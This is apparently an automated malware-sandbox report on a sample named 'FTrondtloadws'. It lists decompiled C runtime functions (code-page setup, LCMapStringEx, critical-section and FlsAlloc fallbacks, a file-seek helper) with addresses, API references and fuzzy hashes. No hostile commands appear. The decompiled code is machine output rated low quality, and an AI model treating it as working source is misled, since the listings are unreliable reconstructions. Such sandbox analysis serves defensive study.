				_t63 =  *0xd007a8; // 0x763902cb
				_v8 = _t63 ^ _t97;
				_t96 = _a4;
				_t4 = _t96 + 4; // 0x5efc4d8b
				if(GetCPInfo( *_t4,  &_v1820) == 0) {
					_t47 = _t96 + 0x119; // 0xcecef6
					_t93 = _t47;
					_t87 = 0;
					_t67 = 0xffffff9f;
					_t68 = _t67 - _t93;
					__eflags = _t68;
					_v1828 = _t68;
					do {
						_t94 = _t93 + _t87;
						_t69 = _t68 + _t94;
						_v1824 = _t69;
						__eflags = _t69 + 0x20 - 0x19;
						if(_t69 + 0x20 > 0x19) {
							__eflags = _v1824 - 0x19;
							if(_v1824 > 0x19) {
								 *_t94 = 0;
							} else {
								_t72 = _t96 + _t87;
								_t57 = _t72 + 0x19;
								 *_t57 =  *(_t72 + 0x19) | 0x00000020;
								__eflags =  *_t57;
								_t59 = _t87 - 0x20; // -32
								_t73 = _t59;
								goto L24;
							}
						} else {
							 *(_t96 + _t87 + 0x19) =  *(_t96 + _t87 + 0x19) | 0x00000010;
							_t54 = _t87 + 0x20; // 0x20
							_t73 = _t54;
							L24:
							 *_t94 = _t73;
						}
						_t68 = _v1828;
						_t61 = _t96 + 0x119; // 0xcecef6
						_t93 = _t61;
						_t87 = _t87 + 1;
						__eflags = _t87 - 0x100;
					} while (_t87 < 0x100);
				} else {
					_t74 = 0;
					do {
						 *((char*)(_t97 + _t74 - 0x104)) = _t74;
						_t74 = _t74 + 1;
					} while (_t74 < 0x100);
					_t75 = _v1814;
					_t90 =  &_v1814;
					_v264 = 0x20;
					while(1) {
						_t103 = _t75;
						if(_t75 == 0) {
							break;
						}
						_t93 =  *(_t90 + 1) & 0x000000ff;
						_t76 = _t75 & 0x000000ff;
						while(1) {
							__eflags = _t76 - _t93;
							if(_t76 > _t93) {
								break;
							}
							__eflags = _t76 - 0x100;
							if(_t76 < 0x100) {
								 *((char*)(_t97 + _t76 - 0x104)) = 0x20;
								_t76 = _t76 + 1;
								__eflags = _t76;
								continue;
							}
							break;
						}
						_t90 = _t90 + 2;
						__eflags = _t90;
						_t75 =  *_t90;
					}
					_t13 = _t96 + 4; // 0x5efc4d8b
					E00CED998(_t93, _t103, 0, 1,  &_v264, 0x100,  &_v1800,  *_t13, 0);
					_t16 = _t96 + 4; // 0x5efc4d8b
					_t19 = _t96 + 0x21c; // 0xdb855708
					E00CEBB88(0, _t103, 0,  *_t19, 0x100,  &_v264, 0x100,  &_v520, 0x100,  *_t16, 0); // executed
					_t21 = _t96 + 4; // 0x5efc4d8b
					_t23 = _t96 + 0x21c; // 0xdb855708
					E00CEBB88(0, _t103, 0,  *_t23, 0x200,  &_v264, 0x100,  &_v776, 0x100,  *_t21, 0);
					_t91 = 0;
					do {
						_t68 =  *(_t97 + _t91 * 2 - 0x704) & 0x0000ffff;
						if((_t68 & 0x00000001) == 0) {
							__eflags = _t68 & 0x00000002;
							if((_t68 & 0x00000002) == 0) {
								 *(_t96 + _t91 + 0x119) = 0;
							} else {
								_t37 = _t96 + _t91 + 0x19;
								 *_t37 =  *(_t96 + _t91 + 0x19) | 0x00000020;
								__eflags =  *_t37;
								_t68 =  *((intOrPtr*)(_t97 + _t91 - 0x304));
								goto L15;
							}
						} else {
							 *(_t96 + _t91 + 0x19) =  *(_t96 + _t91 + 0x19) | 0x00000010;
							_t68 =  *((intOrPtr*)(_t97 + _t91 - 0x204));
							L15:
							 *(_t96 + _t91 + 0x119) = _t68;
						}
						_t91 = _t91 + 1;
					} while (_t91 < 0x100);
				}
				return E00CE0BCC(_t68, 0, _v8 ^ _t97, _t93, 0x100, _t96);
			}

0x00cec8ae
0x00cec8b5
0x00cec8ba
0x00cec8c5
0x00cec8d7
0x00cec9cf
0x00cec9cf
0x00cec9d5
0x00cec9d7
0x00cec9d8
0x00cec9d8
0x00cec9da
0x00cec9e0
0x00cec9e0
0x00cec9e2
0x00cec9e4
0x00cec9ed
0x00cec9f0
0x00cec9fc
0x00ceca03
0x00ceca13
0x00ceca05
0x00ceca05
0x00ceca08
0x00ceca08
0x00ceca08
0x00ceca0c
0x00ceca0c
0x00000000
0x00ceca0c
0x00cec9f2
0x00cec9f2
0x00cec9f7
0x00cec9f7
0x00ceca0f
0x00ceca0f
0x00ceca0f
0x00ceca15
0x00ceca1b
0x00ceca1b
0x00ceca21
0x00ceca22
0x00ceca22
0x00cec8dd
0x00cec8dd
0x00cec8df
0x00cec8df
0x00cec8e6
0x00cec8e7
0x00cec8eb
0x00cec8f1
0x00cec8f7
0x00cec91f
0x00cec91f
0x00cec921
0x00000000
0x00000000
0x00cec900
0x00cec904
0x00cec916
0x00cec916
0x00cec918
0x00000000
0x00000000
0x00cec909
0x00cec90b
0x00cec90d
0x00cec915
0x00cec915
0x00000000
0x00cec915
0x00000000
0x00cec90b
0x00cec91a
0x00cec91a
0x00cec91d
0x00cec91d
0x00cec924
0x00cec939
0x00cec93f
0x00cec953
0x00cec95a
0x00cec969
0x00cec97b
0x00cec982
0x00cec98a
0x00cec98c
0x00cec98c
0x00cec996
0x00cec9a6
0x00cec9a8
0x00cec9bf
0x00cec9aa
0x00cec9aa
0x00cec9aa
0x00cec9aa
0x00cec9af
0x00000000
0x00cec9af
0x00cec998
0x00cec998
0x00cec99d
0x00cec9b6
0x00cec9b6
0x00cec9b6
0x00cec9c6
0x00cec9c7
0x00cec9cb
0x00ceca36

APIs

GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 00CEC8C8

Strings

, xrefs: 00CEC90D

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: 366cb0bfa410199caffbc91feef397ddb489d55fdf9e1ccbe6a11cebd2d3e3bd
Instruction ID: ca16470724f13149d7285b604631ca2ae49b3ad4bbb3436f337da8192ae1a34a
Opcode Fuzzy Hash: 366cb0bfa410199caffbc91feef397ddb489d55fdf9e1ccbe6a11cebd2d3e3bd
Instruction Fuzzy Hash: 3A4108715042CC9FDF228E268CC5BFABBA9EB55308F1404EDE59A87143D235AE46DF60

Uniqueness

Uniqueness Score: -1.00%

Function 00CEBF7C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 35%

			E00CEBF7C(void* __ebx, void* __ecx, void* __edi, void* __eflags, intOrPtr _a4, int _a8, short* _a12, int _a16, short* _a20, int _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36) {
				signed int _v8;
				void* __esi;
				signed int _t18;
				intOrPtr* _t20;
				int _t22;
				void* _t30;
				intOrPtr* _t33;
				void* _t34;
				signed int _t35;

				_t31 = __edi;
				_t26 = __ecx;
				_t25 = __ebx;
				_push(__ecx);
				_t18 =  *0xd007a8; // 0x763902cb
				_v8 = _t18 ^ _t35;
				_t20 = E00CEBCA8(0x16, "LCMapStringEx", 0xcf8a54, "LCMapStringEx"); // executed
				_t33 = _t20;
				if(_t33 == 0) {
					_t22 = LCMapStringW(E00CEC004(__ebx, _t26, _t30, __edi, __eflags, _a4, 0), _a8, _a12, _a16, _a20, _a24);
				} else {
					 *0xcf4278(_a4, _a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
					_t22 =  *_t33();
				}
				_pop(_t34);
				return E00CE0BCC(_t22, _t25, _v8 ^ _t35, _t30, _t31, _t34);
			}

0x00cebf7c
0x00cebf7c
0x00cebf7c
0x00cebf81
0x00cebf82
0x00cebf89
0x00cebf9e
0x00cebfa3
0x00cebfaa
0x00cebfed
0x00cebfac
0x00cebfc9
0x00cebfcf
0x00cebfcf
0x00cebff8
0x00cec001

APIs

LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,62E85006,00000001,?,000000FF), ref: 00CEBFED

Strings

LCMapStringEx, xrefs: 00CEBF8D, 00CEBF97

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: 18ac584087e725895a8420e9bca52da8292fa6c4e7b7ee0ae6aee3ff1516b401
Instruction ID: d9b5d9e154c3c68d3874adb549b3e7e6ad64179a7d93a50df284a97a69ace2b4
Opcode Fuzzy Hash: 18ac584087e725895a8420e9bca52da8292fa6c4e7b7ee0ae6aee3ff1516b401
Instruction Fuzzy Hash: B101D33250124DBBCF129F91DC02EEF7FA2EB48760F054525FE1465160CB728971EB91

Uniqueness

Uniqueness Score: -1.00%

Function 00CEBF1A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 21%

			E00CEBF1A(void* __ebx, void* __ecx, void* __edi, void* __eflags, struct _CRITICAL_SECTION* _a4, long _a8, intOrPtr _a12) {
				signed int _v8;
				void* __esi;
				signed int _t8;
				intOrPtr* _t10;
				int _t11;
				void* _t14;
				void* _t19;
				void* _t20;
				intOrPtr* _t22;
				void* _t23;
				signed int _t24;

				_t20 = __edi;
				_t14 = __ebx;
				_push(__ecx);
				_t8 =  *0xd007a8; // 0x763902cb
				_v8 = _t8 ^ _t24;
				_t10 = E00CEBCA8(0x14, "InitializeCriticalSectionEx", 0xcf8a30, "InitializeCriticalSectionEx"); // executed
				_t22 = _t10;
				if(_t22 == 0) {
					_t11 = InitializeCriticalSectionAndSpinCount(_a4, _a8);
				} else {
					 *0xcf4278(_a4, _a8, _a12);
					_t11 =  *_t22();
				}
				_pop(_t23);
				return E00CE0BCC(_t11, _t14, _v8 ^ _t24, _t19, _t20, _t23);
			}

0x00cebf1a
0x00cebf1a
0x00cebf1f
0x00cebf20
0x00cebf27
0x00cebf3c
0x00cebf41
0x00cebf48
0x00cebf65
0x00cebf4a
0x00cebf55
0x00cebf5b
0x00cebf5b
0x00cebf70
0x00cebf79

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,00CEB57F), ref: 00CEBF65

Strings

InitializeCriticalSectionEx, xrefs: 00CEBF2B, 00CEBF35

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx
API String ID: 2593887523-3084827643
Opcode ID: ce1d32c6e10e55b08d101a567771d9cea3beb50c9838647963e0b511e83bd2f7
Instruction ID: c756f7f76e9a3bccc7b55ddb17c2b9ef9079ee0e510cdeecb288a182037cc15c
Opcode Fuzzy Hash: ce1d32c6e10e55b08d101a567771d9cea3beb50c9838647963e0b511e83bd2f7
Instruction Fuzzy Hash: 73F0B43164121CBBCF059F51CC01EBE7F61EB54760B104065FE0956260CF724D60EBD1

Uniqueness

Uniqueness Score: -1.00%

Function 00CEBDBF Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30
memoryCOMMON

Download Yara Rule

C-Code - Quality: 19%

			E00CEBDBF(void* __ebx, void* __ecx, void* __edi, void* __eflags, intOrPtr _a4) {
				signed int _v8;
				void* __esi;
				signed int _t4;
				intOrPtr* _t6;
				long _t7;
				void* _t10;
				void* _t15;
				void* _t16;
				intOrPtr* _t18;
				void* _t19;
				signed int _t20;

				_t16 = __edi;
				_t10 = __ebx;
				_push(__ecx);
				_t4 =  *0xd007a8; // 0x763902cb
				_v8 = _t4 ^ _t20;
				_t6 = E00CEBCA8(3, "FlsAlloc", 0xcf89c8, "FlsAlloc"); // executed
				_t18 = _t6;
				if(_t18 == 0) {
					_t7 = TlsAlloc();
				} else {
					 *0xcf4278(_a4);
					_t7 =  *_t18();
				}
				_pop(_t19);
				return E00CE0BCC(_t7, _t10, _v8 ^ _t20, _t15, _t16, _t19);
			}

0x00cebdbf
0x00cebdbf
0x00cebdc4
0x00cebdc5
0x00cebdcc
0x00cebde1
0x00cebde6
0x00cebded
0x00cebdfe
0x00cebdef
0x00cebdf4
0x00cebdfa
0x00cebdfa
0x00cebe09
0x00cebe12

APIs

TlsAlloc.KERNEL32 ref: 00CEBDFE

Strings

FlsAlloc, xrefs: 00CEBDD0, 00CEBDDA

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc
API String ID: 2773662609-671089009
Opcode ID: 95e3852c36873b4c4abae498c08c53762cd95c29bb108cebc848d6d8fd7198a0
Instruction ID: 4908b6e2880cc0b133d28d87aff9277e0e87905710f179a8ea549100dad90d72
Opcode Fuzzy Hash: 95e3852c36873b4c4abae498c08c53762cd95c29bb108cebc848d6d8fd7198a0
Instruction Fuzzy Hash: 0BE0E53164121D7BC6056B629C02B7F7BA4DB55721F010165F90567250CFB11F41A6DB

Uniqueness

Uniqueness Score: -1.00%

Function 00CECC00 Relevance: 3.2, APIs: 2, Instructions: 168
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00CECC00(void* __edx, void* __edi, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				char _v22;
				struct _cpinfo _v28;
				signed int _v32;
				signed int _v36;
				void* __ebx;
				void* __esi;
				signed int _t48;
				int _t51;
				signed int _t54;
				signed int _t55;
				short _t58;
				signed int _t60;
				signed char _t62;
				signed int _t63;
				signed char* _t71;
				signed char* _t72;
				int _t75;
				signed int _t78;
				signed char* _t79;
				short* _t80;
				int _t84;
				signed char _t85;
				signed int _t86;
				signed int _t89;
				signed int _t90;
				int _t92;
				int _t93;
				intOrPtr _t95;
				signed int _t96;

				_t91 = __edi;
				_t48 =  *0xd007a8; // 0x763902cb
				_v8 = _t48 ^ _t96;
				_t95 = _a8;
				_t75 = E00CEC7CB(__eflags, _a4);
				if(_t75 != 0) {
					_push(__edi);
					_t92 = 0;
					__eflags = 0;
					_t78 = 0;
					_t51 = 0;
					_v32 = 0;
					while(1) {
						__eflags =  *((intOrPtr*)(_t51 + 0xd00978)) - _t75;
						if( *((intOrPtr*)(_t51 + 0xd00978)) == _t75) {
							break;
						}
						_t78 = _t78 + 1;
						_t51 = _t51 + 0x30;
						_v32 = _t78;
						__eflags = _t51 - 0xf0;
						if(_t51 < 0xf0) {
							continue;
						} else {
							__eflags = _t75 - 0xfde8;
							if(_t75 == 0xfde8) {
								L23:
								_t60 = _t51 | 0xffffffff;
							} else {
								__eflags = _t75 - 0xfde9;
								if(_t75 == 0xfde9) {
									goto L23;
								} else {
									_t51 = IsValidCodePage(_t75 & 0x0000ffff);
									__eflags = _t51;
									if(_t51 == 0) {
										goto L23;
									} else {
										_t51 = GetCPInfo(_t75,  &_v28);
										__eflags = _t51;
										if(_t51 == 0) {
											__eflags =  *0xd246f4 - _t92; // 0x0
											if(__eflags == 0) {
												goto L23;
											} else {
												E00CEC83E(_t95);
												goto L37;
											}
										} else {
											E00CE1000(_t92, _t95 + 0x18, _t92, 0x101);
											 *(_t95 + 4) = _t75;
											 *(_t95 + 0x21c) = _t92;
											_t75 = 1;
											__eflags = _v28 - 1;
											if(_v28 <= 1) {
												 *(_t95 + 8) = _t92;
											} else {
												__eflags = _v22;
												_t71 =  &_v22;
												if(_v22 != 0) {
													while(1) {
														_t85 = _t71[1];
														__eflags = _t85;
														if(_t85 == 0) {
															goto L16;
														}
														_t89 = _t85 & 0x000000ff;
														_t86 =  *_t71 & 0x000000ff;
														while(1) {
															__eflags = _t86 - _t89;
															if(_t86 > _t89) {
																break;
															}
															 *(_t95 + _t86 + 0x19) =  *(_t95 + _t86 + 0x19) | 0x00000004;
															_t86 = _t86 + 1;
															__eflags = _t86;
														}
														_t71 =  &(_t71[2]);
														__eflags =  *_t71;
														if( *_t71 != 0) {
															continue;
														}
														goto L16;
													}
												}
												L16:
												_t72 = _t95 + 0x1a;
												_t84 = 0xfe;
												do {
													 *_t72 =  *_t72 | 0x00000008;
													_t72 =  &(_t72[1]);
													_t84 = _t84 - 1;
													__eflags = _t84;
												} while (_t84 != 0);
												 *(_t95 + 0x21c) = E00CEC78D( *(_t95 + 4));
												 *(_t95 + 8) = _t75;
											}
											asm("stosd");
											asm("stosd");
											asm("stosd");
											L36:
											E00CEC8A3(_t89, _t95); // executed
											L37:
											_t60 = 0;
											__eflags = 0;
										}
									}
								}
							}
						}
						_pop(_t91);
						goto L39;
					}
					E00CE1000(_t92, _t95 + 0x18, _t92, 0x101);
					_t54 = _v32 * 0x30;
					__eflags = _t54;
					_v36 = _t54;
					_t55 = _t54 + 0xd00988;
					_v32 = _t55;
					do {
						__eflags =  *_t55;
						_t79 = _t55;
						if( *_t55 != 0) {
							while(1) {
								_t62 = _t79[1];
								__eflags = _t62;
								if(_t62 == 0) {
									break;
								}
								_t90 =  *_t79 & 0x000000ff;
								_t63 = _t62 & 0x000000ff;
								while(1) {
									__eflags = _t90 - _t63;
									if(_t90 > _t63) {
										break;
									}
									__eflags = _t90 - 0x100;
									if(_t90 < 0x100) {
										_t31 = _t92 + 0xd00970; // 0x8040201
										 *(_t95 + _t90 + 0x19) =  *(_t95 + _t90 + 0x19) |  *_t31;
										_t90 = _t90 + 1;
										__eflags = _t90;
										_t63 = _t79[1] & 0x000000ff;
										continue;
									}
									break;
								}
								_t79 =  &(_t79[2]);
								__eflags =  *_t79;
								if( *_t79 != 0) {
									continue;
								}
								break;
							}
							_t55 = _v32;
						}
						_t92 = _t92 + 1;
						_t55 = _t55 + 8;
						_v32 = _t55;
						__eflags = _t92 - 4;
					} while (_t92 < 4);
					 *(_t95 + 4) = _t75;
					 *(_t95 + 8) = 1;
					 *(_t95 + 0x21c) = E00CEC78D(_t75);
					_t80 = _t95 + 0xc;
					_t89 = _v36 + 0xd0097c;
					_t93 = 6;
					do {
						_t58 =  *_t89;
						_t89 = _t89 + 2;
						 *_t80 = _t58;
						_t80 = _t80 + 2;
						_t93 = _t93 - 1;
						__eflags = _t93;
					} while (_t93 != 0);
					goto L36;
				} else {
					E00CEC83E(_t95);
					_t60 = 0;
				}
				L39:
				return E00CE0BCC(_t60, _t75, _v8 ^ _t96, _t89, _t91, _t95);
			}

0x00cecc00
0x00cecc08
0x00cecc0f
0x00cecc17
0x00cecc1f
0x00cecc24
0x00cecc34
0x00cecc35
0x00cecc35
0x00cecc37
0x00cecc39
0x00cecc3b
0x00cecc3e
0x00cecc3e
0x00cecc44
0x00000000
0x00000000
0x00cecc4a
0x00cecc4b
0x00cecc4e
0x00cecc51
0x00cecc56
0x00000000
0x00cecc58
0x00cecc58
0x00cecc5e
0x00cecd2c
0x00cecd2c
0x00cecc64
0x00cecc64
0x00cecc6a
0x00000000
0x00cecc70
0x00cecc74
0x00cecc7a
0x00cecc7c
0x00000000
0x00cecc82
0x00cecc87
0x00cecc8d
0x00cecc8f
0x00cecd19
0x00cecd1f
0x00000000
0x00cecd21
0x00cecd22
0x00000000
0x00cecd22
0x00cecc95
0x00cecc9f
0x00cecca4
0x00ceccac
0x00ceccb2
0x00ceccb3
0x00ceccb6
0x00cecd09
0x00ceccb8
0x00ceccb8
0x00ceccbc
0x00ceccbf
0x00ceccc1
0x00ceccc1
0x00ceccc4
0x00ceccc6
0x00000000
0x00000000
0x00ceccc8
0x00cecccb
0x00ceccd6
0x00ceccd6
0x00ceccd8
0x00000000
0x00000000
0x00ceccd0
0x00ceccd5
0x00ceccd5
0x00ceccd5
0x00ceccda
0x00ceccdd
0x00cecce0
0x00000000
0x00000000
0x00000000
0x00cecce0
0x00ceccc1
0x00cecce2
0x00cecce2
0x00cecce5
0x00ceccea
0x00ceccea
0x00cecced
0x00ceccee
0x00ceccee
0x00ceccee
0x00ceccfe
0x00cecd04
0x00cecd04
0x00cecd11
0x00cecd12
0x00cecd13
0x00cecdd7
0x00cecdd8
0x00cecddd
0x00cecdde
0x00cecdde
0x00cecdde
0x00cecc8f
0x00cecc7c
0x00cecc6a
0x00cecc5e
0x00cecde0
0x00000000
0x00cecde0
0x00cecd3e
0x00cecd46
0x00cecd46
0x00cecd4a
0x00cecd4d
0x00cecd53
0x00cecd56
0x00cecd56
0x00cecd59
0x00cecd5b
0x00cecd5d
0x00cecd5d
0x00cecd60
0x00cecd62
0x00000000
0x00000000
0x00cecd64
0x00cecd67
0x00cecd83
0x00cecd83
0x00cecd85
0x00000000
0x00000000
0x00cecd6c
0x00cecd72
0x00cecd74
0x00cecd7a
0x00cecd7e
0x00cecd7e
0x00cecd7f
0x00000000
0x00cecd7f
0x00000000
0x00cecd72
0x00cecd87
0x00cecd8a
0x00cecd8d
0x00000000
0x00000000
0x00000000
0x00cecd8d
0x00cecd8f
0x00cecd8f
0x00cecd92
0x00cecd93
0x00cecd96
0x00cecd99
0x00cecd99
0x00cecd9f
0x00cecda2
0x00cecdb1
0x00cecdba
0x00cecdbf
0x00cecdc5
0x00cecdc6
0x00cecdc6
0x00cecdc9
0x00cecdcc
0x00cecdcf
0x00cecdd2
0x00cecdd2
0x00cecdd2
0x00000000
0x00cecc26
0x00cecc27
0x00cecc2d
0x00cecc2d
0x00cecde1
0x00cecdf0

APIs

Part of subcall function 00CEC7CB: GetOEMCP.KERNEL32(00000000,?,?,00CECA54,?), ref: 00CEC7F6

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,00CECA99,?,00000000), ref: 00CECC74
GetCPInfo.KERNEL32(00000000,00CECA99,?,?,?,00CECA99,?,00000000), ref: 00CECC87

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 2d3554c200793747f6f36a9734cfa7486d3ec938bbfab509818e375b6808797d
Instruction ID: 261b1831e289f4e56f56280fa5c4c80ca0edc7e6fef07efe781190b4c8a9b511
Opcode Fuzzy Hash: 2d3554c200793747f6f36a9734cfa7486d3ec938bbfab509818e375b6808797d
Instruction Fuzzy Hash: 435103719002859EDB249F37C8C17BABFE5AF51300F24447EE4AA87252D6369B43DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00CCACB4 Relevance: 3.1, APIs: 2, Instructions: 134
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E00CCACB4(intOrPtr* __ecx, void* __edx, signed int _a8, char _a12, long _a4112, long _a4116, long _a4120) {
				long _v0;
				void* _t32;
				long _t33;
				long _t35;
				signed int _t36;
				void* _t38;
				long _t41;
				long _t44;
				void* _t47;
				long _t48;
				long _t49;
				intOrPtr* _t50;
				long _t51;
				long _t55;
				void* _t63;
				intOrPtr* _t64;
				void* _t67;
				long _t69;
				long _t70;
				void* _t78;

				_t63 = __edx;
				E00CDFE20(0x100c);
				_t64 = __ecx;
				if( *((intOrPtr*)(__ecx + 8)) == 0xffffffff) {
					L14:
					_t32 = 1;
					L15:
					return _t32;
				}
				if( *((intOrPtr*)(__ecx + 0x10)) != 1) {
					_t69 = _a4116;
					_t48 = _a4112;
					__eflags = _t69;
					if(__eflags > 0) {
						L39:
						_t33 = _a4120;
						L40:
						_v0 = _t69;
						_t35 = SetFilePointer( *(_t64 + 8), _t48,  &_v0, _t33); // executed
						__eflags = _t35 - 0xffffffff;
						if(_t35 != 0xffffffff) {
							goto L14;
						}
						_t36 = GetLastError();
						asm("sbb al, al");
						_t32 =  ~_t36 + 1;
						goto L15;
					}
					if(__eflags < 0) {
						L34:
						_t33 = _a4120;
						__eflags = _t33;
						if(_t33 == 0) {
							goto L40;
						}
						__eflags = _t33 - 1;
						if(_t33 != 1) {
							_t38 = E00CCAA5A(_t63);
						} else {
							 *0xcf4278();
							_t38 =  *((intOrPtr*)( *((intOrPtr*)( *_t64 + 0x14))))();
						}
						_t48 = _t48 + _t38;
						asm("adc ebp, edx");
						_t33 = 0;
						goto L40;
					}
					__eflags = _t48;
					if(_t48 >= 0) {
						goto L39;
					}
					goto L34;
				}
				_t41 = _a4120;
				if(_t41 == 1) {
					_t49 = _a4112;
					_t70 = _a4116;
					L17:
					__eflags = _t70;
					if(__eflags != 0) {
						L20:
						if(__eflags > 0) {
							L24:
							_t16 =  &_a8;
							 *_t16 = _a8 & 0x00000000;
							__eflags =  *_t16;
							_t55 = 0x1000;
							L25:
							 *0xcf4278( &_a12, _t55);
							_t44 =  *((intOrPtr*)( *((intOrPtr*)( *_t64 + 0xc))))();
							__eflags = _t44;
							if(_t44 <= 0) {
								L30:
								_t32 = 0;
								goto L15;
							}
							asm("cdq");
							_t49 = _t49 - _t44;
							_t67 = 0x28;
							asm("sbb ebp, edx");
							 *((intOrPtr*)(_t64 + _t67)) =  *((intOrPtr*)(_t64 + _t67)) + _t44;
							asm("adc [ecx+esi+0x4], edx");
							__eflags = _t70;
							if(__eflags > 0) {
								goto L24;
							}
							if(__eflags < 0) {
								goto L14;
							}
							L28:
							__eflags = _t49;
							if(_t49 != 0) {
								__eflags = _t70;
								goto L20;
							}
							goto L14;
						}
						if(__eflags < 0) {
							L23:
							_t55 = _t49;
							_a8 = _t70;
							goto L25;
						}
						__eflags = _t49 - 0x1000;
						if(_t49 >= 0x1000) {
							goto L24;
						}
						goto L23;
					}
					goto L28;
				}
				if(_t41 != 0) {
					_t50 = __ecx;
					L10:
					if(_t41 != 2) {
						goto L30;
					}
					while(1) {
						 *0xcf4278( &_a12, 0x1000);
						_t47 =  *((intOrPtr*)( *((intOrPtr*)( *_t64 + 0xc))))();
						if(_t47 <= 0) {
							goto L14;
						}
						 *((intOrPtr*)(_t50 + 0x28)) =  *((intOrPtr*)(_t50 + 0x28)) + _t47;
						asm("adc dword [ebx+0x2c], 0x0");
					}
					goto L14;
				}
				_t70 = _a4116;
				_t51 = _a4112;
				_t78 = _t70 -  *((intOrPtr*)(__ecx + 0x2c));
				if(_t78 > 0 || _t78 >= 0 && _t51 >=  *((intOrPtr*)(__ecx + 0x28))) {
					_t49 = _t51 -  *((intOrPtr*)(_t64 + 0x28));
					asm("sbb ebp, [edi+0x2c]");
					goto L17;
				} else {
					_t50 = _t64;
					goto L10;
				}
			}

0x00ccacb4
0x00ccacb9
0x00ccacc2
0x00ccacc8
0x00ccad3e
0x00ccad3e
0x00ccad44
0x00ccad4a
